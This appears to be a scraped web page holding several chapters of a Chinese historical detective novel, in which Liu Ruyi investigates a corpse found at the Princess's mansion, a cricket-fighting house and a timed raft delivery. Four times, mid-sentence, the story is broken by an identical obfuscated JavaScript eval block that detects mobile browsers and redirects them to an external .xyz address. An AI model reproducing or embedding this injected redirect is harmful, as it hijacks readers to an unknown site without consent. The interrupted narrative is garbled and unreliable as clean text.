“死者，年十九，仰面身长三尺两寸，膀阔两寸，全身僵硬，两眼泡微开，口鼻耳眼无水流出，喉头下方有勒痕，牙关无法闭紧合，头骨、牙齿颜色未变，身上鞭痕十几余处，多为背部，系为被绳索勒至窒息死亡，死亡时间大致为六月廿二子时。” 柳如意愕然，案发在长公主设宴的前一天，如此短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537359|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间，幕后之人竟设计成功躲过了护城河上的侍卫，将尸体“运入”长公主府，又能掐准时机令尸体在宴会这天被人发现，布局缜密，令人发怵。 仵作介绍完尸检结果后，又拿起一纸袋，递给了柳如意，“大人，下官在搬运该女子的时候，发现一处蹊跷，该女子身旁有些未溶解的垩灰，且竹筏有几处十分黏糊，但暂未查验出是何物？” “白灰？”柳如意接过纸袋，瞧了眼，就是寻常人家中普通垩灰，日常中一般作防潮，驱赶虫蚁之用。 柳如意尚在思索垩灰的玄妙，只见一内侍神色匆匆地朝她走来，”柳大人，陛下传来口谕，请大人务必在一月内查清长公主府女尸案，揪出幕后真凶手，否则，按办理不力处置。” 景元帝的口谕来得突然，这令本就深受案件所困扰的柳如意更加焦躁。 平息了会，柳如意按耐下焦躁，上前打探缘由。 原是，宫中朝安贵妃赴完长公主寿宴后，终日心神不宁，难啖珍馐，食之无味。若是一般妃子也罢，只是朝安贵妃如今身怀龙嗣，若是长时间胃口寡淡，则会影响腹中龙子。 后景元帝也曾传唤太医为其请脉。太医言，贵妃脉象沉迟，面色青白，乃忧虑恐惧之症。 加之，今日丑时，朝安贵人寝宫门外突现一只白色死猫，引得宫中更是流言四起，人心惶惶。都道说“妊娠妇人体弱，极易被些不干净的冤魂缠住，此类鬼魂甚是顽劣，非术法所能驱逐，唯有真正平冤昭雪，方可令其离开。” 景元帝本就子嗣单薄，如今又是晚来得子，甚是宝贵这一脉。故，即便是荒诞流言，其也宁信其有，故下命尽快彻查此事，生怕影响贵妃腹中胎儿。 柳如意领完旨后，立即往长公主府走去，打算“探望”一下尚在病榻的胡榭。 “柳大人今日前来本宫府邸，可是有什么新发现？”昭华长公主轻轻掀起眼皮，漠视地扫了眼柳如意，高傲至极。 其眼底乌青有些严重，虽铺了层厚重的铅粉，亦难以完全遮掩住。 “回长公主，微臣刚从仵作得到尸检结果，特前来向长公主禀明。”说着，柳如意将尸检报告递给长公主身旁的内侍，“死者为窒息而亡，死亡时间于六月廿二。” 昭华长公主一手轻轻抚摸着怀中的猫，一手接过内侍手中的报告，随意扫了眼，“劳烦大人。” 其实，昭华长公主并不在意女子死因，甚至结果真伪，她在意的，只不过水落石出，堵住悠悠众口，给其他人有个交代罢了。 说完，便摆手，示意其退下。半晌，见柳如意仍立在原地，好奇道“大人可还是有什么事情？” 柳如意俯首作揖道，语气中淡淡悲伤，“今日早朝，下官听闻胡大人称疾告假，悲痛万分，特前来探望。” 刹时，昭华长公主眼神一凝，抬起头，但语气仍是淡淡不屑，“哦？本宫不知何时犬子和大人的关系如此亲近？” 柳如意赶忙解释，“之前有幸同胡大人一起对过对子，其文采斐然，令下官敬佩。故，听其染疾，尤为担忧。” 昭华长公主淡淡瞥了她一眼，伸手从一旁唤来一仆从，“你引着大人前去吧。” 7. 接近李袭 从前厅通往后院，要经过一道长廊，弯弯绕绕，几步一转角。廊外片片月季随风摇曳，在太阳余晖的映照下，显得更加鲜艳。 “你们平日去后院，都不经过这个长廊吗？”一路上，柳如意都没怎么看到宫婢，遂好奇问道。 仆从低垂身子，答道，“为省时间，府里下人一般都走另一条小路。” 柳如意点头，“胡大人是什么时候烧伤的？” “六月廿一亥时。还好当时发现的早，要是稍晚一些，大人怕是要葬身火海当中。”小厮想起那日熊熊烈火，心有余悸。 “那日祠堂当中还有其他人吗？” 仆从摇了摇头，“每次少爷前去祠堂时，长公主都不许大人带人前去。” 胡榭房内，十字纹路窗半开，细碎的光透过檀色的金丝篾帘洒了进来。 胡榭头枕在软塌上，整个人被裹帘缠了几圈，只留眼、口、鼻裸露在外面。 听完仆从说明柳如意的来意，胡榭试图用力起身，无奈身体太痛，“身体抱恙，略有失态，还请见谅。” “大人注意身体，务必好好养伤，待病好后，家兄还想约大人一聚。”柳如意见胡榭伤势确实严重，不似假的，于是客气了一番，便也就告辞回府。 李衡也刚巧打探完消息。在府中等待柳如意，得知其回来的消息，就立马前来禀告。 “大人，经打探，胡榭没什么特别爱好，就是特喜欢在城南巷口的鸣虫馆斗蛐蛐。” “其酷爱蛐蛐，曾一掷千金求得一青黄头蛐蛐。” “如今，也快入秋，前不久刚从外商手中重金购得一只‘战虫’，青黄头，牙长头大，项肥腿长身阔，金翅燥毛，因每次出战，屡战屡胜，被大家称为‘常胜将军’。” “但这只蛐蛐，性子格外暴戾，不过，确是深受胡榭喜欢，别人千金求买，其也不卖。” “胡榭交友简单，在鸣虫馆只有位私交甚好的老友，李袭，商贾人家，从事布匹生意，商场风评还行，但是私下生活极其混乱，格外放浪不羁。” 都说，近朱者赤，近墨者黑，一个放荡不羁，一个翩翩公子，八杆子打不到一块的人，竟然是熟识，这换谁都得好奇。 直觉告诉柳如意，或许李袭就是“破案点”。 年年秋日月初五，是李袭雷打不动的斗蛐蛐日子。 鸣虫馆内，人声鼎沸，叫喊声一阵接着一阵。 柳如意从别处买了只青头促织，头宽，身子短小、体青。 店小二见柳如意身穿紫衫，腰围玉带，气质华贵，身后跟着一身形挺拔、清眸俊朗的侍从，猜想此人不富即贵，遂立马上前谄笑道，“贵客，里头请。看着公子面生，可是初次来我们这鸣虫馆？” 柳如意点头，指了指手中的秸笼，“从他处高价买来一头战虫，卖家说是在瓦砾堆中找到的，屡战屡胜，特前来试一番，看看是否有诓骗我？” 店小儿闻言，顿时好奇起来，“小的见识浅薄，但也在鸣虫馆待了些年头，有幸见到不少良种促织，也学到了些皮毛玩意，可否给小的看眼，好一饱眼福。” 柳如意抬颌示意。 李衡立即将秸笼给店小二。 只见，店小二小心掀开秸笼盖子，看了会后，一脸惋惜地将秸笼还给了李衡，“请问公子几钱购得？” “白银五两。”近小半月的俸禄。柳如意想着就有些心疼，想着等案件查清后，定要去户部一趟，争取查案补贴。 店小二一脸同情看着柳如意，“这只促织个头较小，若是遇到大一些的，极容易在个头上被压制。” 店小二说的很委婉，促织以青头、头圆牙大、脚长脖子短、红钳赤爪为上佳。 而这只促织，虽是青头，其他优点确实一点都不占，尤其是身子短小，更为短板。 说完，店小二便将柳如意带至楼内较为偏僻的一个场子，不一会儿，只见一人带着一青衫布衣男子前来，对方手中也拿着一秸笼。 比斗由长髯尖嘴牙郎主持。开始前，双方交换竹筒，互看双方战将。 柳如意接过对方的秸笼，透过草隙往里头一看，赤红身子，头扁牙小，但是胜在身型壮硕。 入戥后，柳如意的五厘，布衣男子的八厘。 确认无误后，牙郎就将蛐蛐放入斗栅中，任其争夺。 很快，桌边就陆陆续续围了几人，开始参与开盘赌胜负。 显然，大家都不太看好柳如意的那只，唯一压柳如意这方的只有案桌上李衡的十文铜钱，对比青衣男子那边，显得稀碎单薄许多。 可自打还债、买蛐蛐后，银两已不剩几个。但，输人不能输气势，虽银两少，气势却得给够。柳如意昂着头，高傲地目视一切。 突然，人群中传来一阵唏嘘声。 只见，个小的那只，立于斗栅当中，试探了几番之后，径直咬向了对方的脖子。 牙郎立即将两者分开，停止了角斗，并宣布柳如意方胜。 随后，每隔两三天，柳如意就会带着这只“小蛐蛐”前去比斗。 两、三回后，这只“常胜将军”也就在鸣虫馆成名了。 “公子，我家主子有请，说是想见见最近名声躁动的‘常胜将军’。”这日，柳如意一如往常地前去鸣虫馆，刚进门，一黑色短打劲衣男子便向其走了过来。 不等柳如意开口，男子便把柳如意带上楼去。 李衡欲跟进房间，便被立于门前的黑衣男子一把长刀拦在门外，“我家主子只说见你家公子一人。你尽管放心，我们自会护好你家公子安危。” 柳如意伸手，示意李衡将秸笼交给自己，一人进屋去。 ”公子，已经将客人带到。” 话音刚落，屏风后走出一人，一身锦袍，衣容华贵，一双蓝色琥珀眼眸，格外摄人。 此人正是李袭。 “嘱咐多次，让你好生将客人请来，怎么如此粗鲁，待会下去领罚。”李袭一个摆手，黑衣侍卫立马掩门离去。 李袭指了指桌旁的椅子，示意柳如意坐下，“下人粗鄙惯了，让公子受惊了，以后定严加看管。” 接着，直接开门见山道，“今日请公子前来，主要是想见见那名动一时的‘常胜将军’，听说其虽貌不扬，但是比斗起来不容小觑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537360|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，身子灵活，几招下来直夺对方项脖，一招扼敌，甚是威武。” “恰好最近偶得蛐蛐，正缺一练手，不如比试一番。”说话间，李袭身后立着的两人立马着手准备起斗蛐蛐玩意儿。 不一会儿，李袭的那只蛐蛐便从秸笼中放了出来，青头、头圆牙大、脚长脖子短，威武扬起红钳赤爪。 当然，柳如意的这只也不是‘善茬’，之前的几回比斗下来，也令它更为自信，霸气不少。 斗栅内，双方开始依旧是互相试探，随后，柳如意这方蛐蛐以迅雷不及掩耳之时，直逼对方脖子。 两仆人欲上前，将两者分开，制止比斗。 只见胡榭一抬手，“没用的东西，白喂了那么多蟹肉，留着也是浪费……” 不一会儿，李袭的那只便在斗栅当中，被咬断了脖子，一命呜呼。” “果然名不虚传”，李袭拍了拍手，往椅子上一座，试探的问道，“不知，这个蛐蛐还卖不卖？五十两，价格若是不满意，可大胆提。“ ”公子爱蛐蛐之心，折吾心殊深。不卖予公子，倒是显得我有些不近人情。” 李袭听闻，大笑，立马差人取了五十两银钱，递给了柳如意。柳如意笑眯眯接过银子，“公子，前阵子，我远方表哥寻得一只青色蛐蛐，听说品相不错。其最近手头比较拮据，急需银子。公子若是还需蛐蛐，可等两日后，待我从表哥那取来蛐蛐。若是大人觉得合适，换些银两。也能解表哥燃眉之急。” 胡榭点头，两人约定好两日后，在鸣虫馆详谈。 出了鸣虫馆后，柳如意将银袋子抛向李衡，“拿着”。 李衡一把接过，掂量着，觉得重了许多，“大人，这会赢得挺多。” “没，我把蛐蛐卖了五十两。”这几天，柳如意凭着斗蛐蛐单压胜负就赢了三、四两，这次更是卖了五十两，刨去本金，赚了近五十两，简直暴利。 想到此，不知觉间，柳如意脚步也变得格外轻快。 李衡跟在其身后，又将其在二楼的见闻说了出来，“大人，你进去同李袭交谈时，我观察道鸣虫馆二楼，进出的客人大多身着异服，像是胡人……” “斗胜养法，胡人都略胜于我们一筹。京中许多斗蛐蛐的权贵人家，不屑本地蛐蛐，就会高价购入异地蛐蛐，习胡人斗胜之法…鸣虫馆本就是生意场地，如此赚钱机会，岂能错过？”说完，柳如意又吩咐道，“你晚些去寻只品好的蛐蛐。” 西市位于西郊，是京城中品种最为齐全的集市。 西市内，整条大街上挤满了自大乾东西南北来的小贩，正卖力吆喝着。 李衡穿梭在人群中，左右打量，但因现正值“秋兴”，蛐蛐基本都已被商贾之人、蛐蛐爱好者等人收购，故临近夜晚，李衡也未在西市收到品好的蛐蛐。 不过，也非无功而返，其从一商贩口中掌握到一个不算坏的消息。 “大人，听说都察院沈大人最近收了只品相不错的蛐蛐，你或许可以向沈大人讨要借用？” 柳如意纳闷，“他啥时候爱上的这费钱玩意？” 李衡摆头，“不知道。” 8. 借用蛐蛐 “沈大人，听说大人素爱喝茶，这是我特意托人从珍锦楼买来的龙井，今年刚出的，这不，刚到，我这就赶紧拿给大人尝一尝。”说完，柳如意拿起杯具，冲泡起茶来。 沈暨白接过茶，放在桌上，双眸看着柳如意，手指轻敲凳把，“不必拐弯抹角，直说便是。” 柳如意讪讪道，“听闻大人新得一蛐蛐，品相极好，特前来一饱眼福。” “哦？你这消息倒是灵通。”说着，沈暨白招手，让府邸的下人将蛐蛐拿了出来。 定睛一看，蛐蛐金翅燥毛，如蟹壳青，头圆牙大，是为上品。柳如意大喜道，“大人这个蛐蛐确实不错，可否借我一段时间？” 沈暨白拿起茶盖，浮了浮茶叶，语气慵懒道，“多久？” 柳如意小声嘀咕，“约莫三、四月。” 闻言，沈暨白抬眸，噙笑道，“嗯？想借到寿终?” 柳如意急忙上前，拿过桌上的扇子，给沈暨白扇起风来，“可以加钱。” 沈暨白比了个“五”的手势。 柳如意一看，爽朗道，“五两呀，可以呀。” 沈暨白摇了摇头，“五十两。” 闻言，柳如意惊呼，“打劫呀？” “据了解，今年受雨水影响，集市中的上等蛐蛐格外得少，基本都被些商号收在手中，欲囤积居奇。”沈暨白浅啜一口清茶，悠悠道，“而且，听说你最近不是高价卖了只蛐蛐？这些银子对你来说不值一提吧？” 柳如意心中咒骂一番，面上只得咬牙答应，哂笑道，“好的，不知道大人何时喜欢上收藏蛐蛐的？” “就在得知你高价卖出时，觉得是个商机。” 听完，柳如意心中顿时千匹马飞过，“大人不去户部任职，真是可惜了。” 沈暨白应声道，“那还得柳大人帮忙在陛下面前推荐一番。” 前日卖蛐蛐的银两，早就被柳如意拿去偿还之前欠下的外债，遂打算着回家像大哥柳祈安借些银子，“今天出门没带那么多银两，只带了十两。” “没事，我待会让许琦去柳府取。”因沈暨白自小身体孱弱多病，不适合习武。为护其安危，沈父特意从武庄挑了位好苗子作沈暨白贴声侍卫，而此人正是沈暨白口中的许琦。 “走吧。”柳如意忿忿道。 当然，走之前，她也没有忘记带走案上未用完的那一包茶叶。 “龙井不是带给我尝尝的吗？为何也拿走了呀？”沈暨白见柳如意的小动作，勾唇道。 柳如意反驳道，“是啊，只是尝尝。当然你也可以在我这边买，我不收鞋脚钱。” “多少？”沈暨白哑笑到。 柳如意赌气道，“五十一两。” “好，许琦拿钱去。” 许琦听两人的一言一语，有些无奈的摇了摇头。 其实，这只蛐蛐本就是公子专门为柳姑娘寻来的，估计也没想着收钱，说收钱也就是逗逗柳姑娘， 只是，已经很少见到公子如此放松了。自家公子自从上京后，承担东西越来越多，整日也不苟言笑，案牍劳形。 但是，人的神经都有一定限度。若是人一直处于高度紧绷状态，慢慢累积，终有一天突破极限，压力便如泄洪之水，排山倒海而来，将人完全压倒。 故，许琦没少为之操心，也多次劝说自家公子，沈暨白也只是随口应下，根本没放在心上。 最近，似是因为柳故娘的缘故，沈暨白倒有些入京前的影子，私下里也没有那般严肃。 这两日，柳如意除了让李衡帮忙寻找蛐蛐，也派出几名暗卫前去打探李袭身份，可是，派去的暗卫均一去不复返。 通常，暗卫基本当天来回，有情况都会及时向主子汇报。 两天时间，杳无音讯，柳如意也大致猜出暗卫大概率被人截杀，这也令其更加确信李袭身份不简单。 鸣虫馆内，依旧是人山人海，呐喊声一声盖过一声。 柳如意应约按时来到二楼交易的房间内，“公子，您看看这品色如何？” 李袭透过秸笼上的小孔，往里头望去，须臾，点头道，“不错，还是上次的老价钱？。” “行。” 两人达成一致后，一仆从随即将准备好的白银拿给了柳如意。 柳如意接过，将荷包放往怀里放了过去。 “不点点？”李袭指着钱袋子，问到。 柳如意谄笑道，“公子为人光明磊落，极重信誉，怎会有少？我自是相信公子。” 说笑间，一仆从行色匆匆从屋外走进，附在李袭耳边一番话。只见李袭脸色骤然变得沉重起来，立马起身，略带歉意道，“公子，在下今天还有些要事亟需处理，招待不周，还请见谅……下次你来这，直接报‘李老板’，定会有人好好招待公子。” 说完，李袭便匆匆跟着仆从往外走去。 推门的瞬息，柳如意余光瞥见对面一抹熟悉身影，心中一惊，那人背影像极了匈奴右贤王刘耶，但只是匆匆一眼，又隔着有些距离，加之背影，看得不太真切。 但因柳如意自小跟着宋煜，杀场自是没有少去，而几年前，匈奴来犯大乾，对方统帅正是刘耶，而柳如意作为副帅，更是因为莽撞轻敌，险些丧命于刘耶刀下。 那种来自杀场的熟悉感，告诉柳如意直觉没错。 只是为何胡人偷摸进入大乾？柳如意一时没想通，也无力气去想。她揉了揉额头，眼下，最为焦急的事情，是尽快查出长公主女尸案件的真凶，完成景元帝交代的任务。 案件未平，长公主府又传来诡异之事，一只白猫无故地死在长公主府内。 不同于皇宫中的那只，这只猫满身鞭痕，脖子上系着一根红绳。 而那只猫，正是胡榭半月前失踪的“爱猫”。听说，那猫失踪时，胡榭发了很大一通火，怒将专门看管猫的仆从打了一顿。 死猫发现的地方，也位于女尸发现地的河边。 一猫一人，皆伤痕累累，究竟要说明什么呢？ 柳如意立于河边，陷入了深思，脑海里案件信息走马灯般飞快闪过。 案件深处，似乎有人想借着这只死猫向他传递重要信息，这人是谁？这个信息是什么？柳如意也没摸清、理顺。 “大人……”李衡见其待在河边愣了许久，遂喊了声，将其从繁杂的思绪中拉了出来。 柳如意这才回过神，仔细地打量起死猫来。 猫的品种是波斯猫，西域独特的品种，美丽高贵，性格温和，尤其是瞳孔格外漂亮，以橙色、黄色、蓝色居多。 柳如意望着死猫瞪大的蓝色瞳孔，脑海中浮现一人，这眼睛像极了李袭那双勾人的眼睛。 “大乾境内的波斯猫大部分为西域进贡而来，而这些猫均被景元帝赐给了后宫内的妃子。而市面上，少部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537361|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波斯猫则来自胡商手中，鉴于波斯猫品相稀少，驯化成本高，市场上价格自然也就高，故能买的人就不多。”李衡之前本是镖局的镖头，因运镖本就是刀口舔血活计，其也有意另谋出路，后因偶然机会得礼部尚书柳叶赏识，遂成为柳如意侍卫。故，江湖中人，涉猎广泛些，也不足为怪。 这么一提醒，想起胡榭、李袭交情，线索已是柳如意心中连串起来，暗忖道，“胡榭这一只，大抵是在胡商手中买来的。或许，大胆猜测一番，极有可能李袭手上得来的……而鸣虫馆，或许不止是斗蛐蛐的场所，极可能是胡商卖物、易物的地方。” 李衡赞同的点头，又不解抛出另一疑惑，“只是，李袭为何要借鸣虫馆之名，暗下行卖货之事？” 大乾虽边防动荡，周边小国虎视眈眈，却也未关闭互市贸易，允许钱货交易，胡榭、李袭多此一举，到底是想隐瞒什么？ 柳如意摆了摆头。不过，一个想法立即在其脑海形成，李袭既然如此关键，何不顺藤摸瓜，查找真相？ 自从有了李袭上次的嘱咐后，柳如意进鸣虫馆格外顺利。 这不，刚进鸣虫馆，堂中掌柜见到柳如意，连忙起身二楼引起，“公子，李老板现还不在馆中，若是来送蛐蛐的，直接给小人就行了。小人估价后，公子若是价格满意，可直接取钱。” 柳如意点头，示意李衡将竹笼递给对方。 因为柳如意这趟本就是为了李袭而来，谁料却跑了空。 虽赚了几两银子，心里依旧不得劲，毕竟“破案点”正在这个李袭身上。 “贾公子。”掌柜正送柳如意下楼出馆，转台上，恰巧遇到一褐衣小厮带着朱衣男子上楼。 只见，小厮立马上前，附在掌柜耳前说起话，只见掌柜的脸色愈发凝重。 这时，柳如意才将视线移至朱衣男子，随着视线慢慢上移，直至定格在那张熟悉的脸上，唯一与往常有些区别的是，清秀的脸上多了一条狰狞的刀疤、一把潦草的胡髭。 而这贾公子竟是沈暨白。 两人视线相对，相比柳如意的纳闷，沈暨白显得神情自若，淡淡瞥了眼柳如意，便欲随掌柜上楼去。 “公子，不好意思，小人有些急事要同贾公子单独详聊，就不送公子了。”说完，对着褐衣小厮吩咐道，“帮我送下公子。” 于是，便恭敬地引着沈暨白往楼上雅间走去。 见计划落空，李衡问道，“大人，我们现在去哪？回大理寺吗？” 为何会在鸣虫馆见到沈暨白，且看掌柜的态度，两人像是熟识，两人究竟是什么关系呢？ 柳如意还在思忖，远处传来一声，“大个。” 此人正是忠平王府小侯爷谢韫。 而两人交情得从十年前说起。 孩提时，因谢韫较同龄人瘦弱，且为人性格沉闷，私下里没少被其他孩童欺负。而柳如意自小习武，满是侠客义气，最是看不惯这种“恃强凌弱”，一日偶见他人欺凌谢韫场景，硬是带着谢韫将欺凌者一一教训了番。 夕阳下，脸上带着些擦伤的柳如意站在石头顶上，叼着个草，昂起下巴，不羁地说道，“你一个堂堂小侯爷，竟被欺负成如此模样……下次，倘若还有人胆敢欺负你，报小爷名号，小爷护你周全。” 一护就护了几年。 而转眼间，当初瘦弱孩童也长成意气风发少年模样，成了户部右侍郎。 9. 垩灰之用 悦来居内，人生嘈杂，喧闹非凡。 谢韫拿起茶壶，替柳如意斟了杯茶，等略微转温后，才递了过去，“最近，悦来居新出了道菜肴——雪里藏珍，可废了吾好些功夫。大个，你今儿算是有口福了。” 柳如意支着下颌，无精打采道，“最近为了查长公主府那个案子，银子都快见底了……你说，户部能不能出个公务补贴费，要不然，姐姐我迟早有日饿死。” 谢韫闻言，解下腰间荷包，递给了柳如意，“大个，这是我积攒下来的部分银子，你先拿着……补贴的事，待我回去同大人仔细商榷一番。” 柳如意笑嘻嘻接过，“谢韫，小时候果真没白护着你。” 说话间，店小二就端着“雪里藏珍”进来了。 只见，奶白色的冰在炭火的加热下，慢慢溶成百汤，随后从底端源源不断的冒出丸子，甚是稀奇。 “也没有传言中的那么稀奇，不过是利用奶白色的可见度不高。”谢韫“啧”了声，满是不屑，一言勘破原理。 “对，可见度。”柳如意似是想起什么，立马站起身来，“谢韫，我先回躺大理寺，下次定请你吃饭。” 暮色沉沉，柳如意快步走在大街上，人来人往，比肩接踵，一连撞上几人，其也顾不上，只顾着埋头匆匆向大理寺走去。 大理寺内，录事林寻正欲散值归家，见柳如意满头大汗，刨衫微乱，上前问道，“大人，可是发生了何事？” 林寻，秋闱举子，春闱时，因医正检查不合格，无奈落选。 然而，柳如意父亲柳叶恰巧是当年的文试考官，因惜其才华，破例将其塞进大理寺任职。 故，柳叶知晓柳如意任大理寺寺正后，第一时间便将“林寻可用”讯息告知柳如意。 见四周无人，柳如意直截了当问道，“长公主府内的竹筏可在？” 长公主府中发现女尸后，大理寺衙役第一时间勘查完现场后，便将现场搜集的证物小心移至大理寺内。 闻言，林寻立马将柳如意引进一狱房内，指着墙落一角的竹筏，“大人，正是这件。” 只见，柳如意在竹筏旁半蹲下来，用手摸了摸竹筏的侧边，对一旁站着的林寻说道，“拿盏油灯过来。” 林寻应了声“是”，很快便找来了盏油灯，递给了柳如意。 狱房本就漆黑，加之天色暗沉，油灯一照，顿时亮堂许多，竹筏也变得更加清晰。 柳如意轻笑，果真如其猜想一般，喃喃道，“原来如此。” 立于其身后的林寻好奇地向前走了走，仔细打量道灯光照的地方，是一排排细绳留下的浅痕，“有人曾在竹筏上用绳悬吊过重物？” 柳如意“嗯”了声，又补充道，“当初，长公主府内发现尸体时，正值傍晚，夜色昏黑，加上竹筏变留痕较浅，难免忽略。” “只是为何痕迹只有半圈？”竹筏不大，仅能供一人平躺，若是死者为被人先勒至窒息死亡，在置于竹筏之上，竹筏便无法在立一人于其上。 柳如意解释道，“是垩灰。吾曾在本奇书见过，若是取糯米少许，煮熟捣碎，加入垩灰、沙石、水等，充分搅拌，数日后，形成之物甚是坚固。” 柳如意接着道，“若是有人以不同比例配置此物，再将此物依比例高低置于竹筏一侧，同时，取多跟细绳，将其一端依次埋入此物当中，另一端系有重物。如此这番，一则，只需计量好重物重量，避免竹筏沉底，其便可于水中顺着水流飘至长公主府。这也是其为何躲开了护城河上的侍卫。” 柳如意顿了顿，“二则，以不同比例配置，主要为黏性不同。而此物若要完全发挥能效，则须待其完全晾干。若是只是半干，河水则会慢慢侵蚀此物，直至最终脱落。而脱落时间，则取决于黏性大小。” 林寻明了似的点了点头，“等完全脱落，竹筏自然浮出水面。” “对，而且，你看右侧细绳勒痕明显比左侧多，这也就导致竹筏会侧向右边漂流，且长公主府基本位于护城河下游，地势平坦，水势较缓，以上种种缘由，最终导致竹筏撞至坐落护城河右侧的长公主府。”柳如意指了指竹筏两侧勒痕，继而道，“至于时间，幕后之人只需根据河流时速，掌握好发起、到达时间，待其临近长公主府时，再以猫声诱之，便可成功令人撞见。” 说完，柳如意眉头一皱。究竟是谁煞费苦心将女尸运入长公主府？目的是什么？ 若是单纯为了抹黑长公主府，如此设局，未免有些小题大做。 等柳如意出狱房时，已是亥时。 此时，柳如意已是满身疲惫，见天色已晚，便打算回值庐凑合一宿。 从狱房到值庐，需穿过大理寺公堂。 公堂前，清冷的月辉倾洒而下，落在白衣男子身上，呈现出一种冷峻的美感。 柳如意上前一步，拍了那人肩膀，“你怎么过来了？” 此白衣男子正是谢韫，“晚上你走得匆忙，我想着你定是被案件所缠，恐你挨饿，遂给你打包了些吃食。”说着，两人偏向值庐处走去。 值庐不大，却是干净整洁。谢韫从食盒里拿出吃食，一一摆在了桌案上，“快吃吧。” 柳如意顺手接过已谢韫擦拭干净的筷子，边吃边问道，“胡榭此人人品如何？” 谢韫思索了会，“待人温润，但是……” 谢韫又顿了顿，好一会才开口，“工作上有时略显偏执极端。” “偏执极端？”柳如意疑惑道。 谢韫点头“嗯”道，“上次，其同兵部右侍郎侯行在边镇粮饷上意见相左，因其冥顽不灵，固执己见，差点挨上侯行一拳……” “作何解释？”柳如意追问道。 “因今年财政紧张，胡大人主张粮饷不变，同去年持平。而兵部右侍郎侯大人言，今年开岁，周边小国对大乾边境虎视眈眈，形势紧迫，需增加粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537362|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饷。实，侯行言之有理，而且其也向胡榭提出一可行之法，即缩减六部等日常用度开支，并将缩减下银子调配给边镇粮饷。虽是移动补西之策，却可解燃眉之急”，谢韫轻叹道，“但是，胡大人死活不答应，言明如是这般，必引得六部给事中愤然，动摇大乾根本。” 柳如意鄙夷道，“边境若是失守，还谈什么国运太平，孰轻孰重？数年科考，竟是多了堆迂腐文人，自视甚高，瞧不起武人粗鄙，要知道，大乾江山，是群武将打下的。如今的太平，亦是武人们用命守的……如今，只是缩减他们日常用度银两，就如此激动。” 柳如意越说越气愤，当初，也是这群咄咄逼人、自视清高的文人们逼得师父宋煜告老致仕。 景元二十八年，北凉、大乾于南城一战，两军对峙，守城大将许连竟丢盔弃甲，弃城而逃，致南城失守。 后许连不知所踪，系其曾于宋煜麾下，后亦是因宋煜举荐镇守南城，遂给六科事中纷纷弹劾，宋煜御下不力，识人不清，恐有投敌之嫌。 朝廷上下弹劾之声甚嚣尘上，宋煜见状，只得告老还家。虽，柳如意苦苦哀求，那些文人依旧充耳不闻。 宋煜致仕归家前日，天空似被撕裂了般，漫天漫地的雨水浇了整整一日。 翘檐下，柳如意立于堂前，看着屋外的瓢泼大雨，眼中已是盈盈泪光，声音沙哑道，“师傅，值得吗？” 宋煜摇了摇头，“定有能救大乾的能人！” 其实，大乾一开始也并非重文抑武。 相反，大乾以武开国，是开国皇帝子阳帝带着一批武将打下的江山。 开国之初，武将甚是威风，光正一品威武将军就封了十余人。那时，整个朝堂几乎全是武将天下。 盛极必衰，是自古的铁律。 极权掌握久了，难免会生出贪念。晚年时，年老的子阳帝开始忌惮这些和他一起打江山的弟兄们。 遂乎，便有了锦州醉酒殴打案。其实，案件并不大，只不过是一醉酒武举人因冲突殴打一文举子。 子阳帝正愁如何削弱武将权利。此案一发生，正中下怀。遂其震怒，借平文人之愤，顺势废了武举。 于是乎，年年累积，到景行帝时，大乾已是沉疴痼疾，朝廷武官寥寥无几。边境来犯，朝中也无武将征战，只得求和。 经年累月，百姓徭役赋税严重，苦不堪言。 后景行帝也意识到朝中无武官弊端甚多，于是，起了重新重用武人的心思。 而朝中文官当朝，顾忌因此失势，便利用鸡毛蒜皮、子虚乌有之事，多次打击武将。 见柳如意紧握关节，脸色冰冷，谢韫从食盒里又拿出几个柳如意最爱的青枣，“会好的。前阵子，秋闱另增一成武举子入殿试。且，此次武举一甲进士直接于兵部供职，其余六成留京，四成去地方任职，足见陛下欲重用无人之心……” 柳如意叹气道，“或许吧。” 10. 探公主府 余晖落尽，天色逐渐变得幽深。 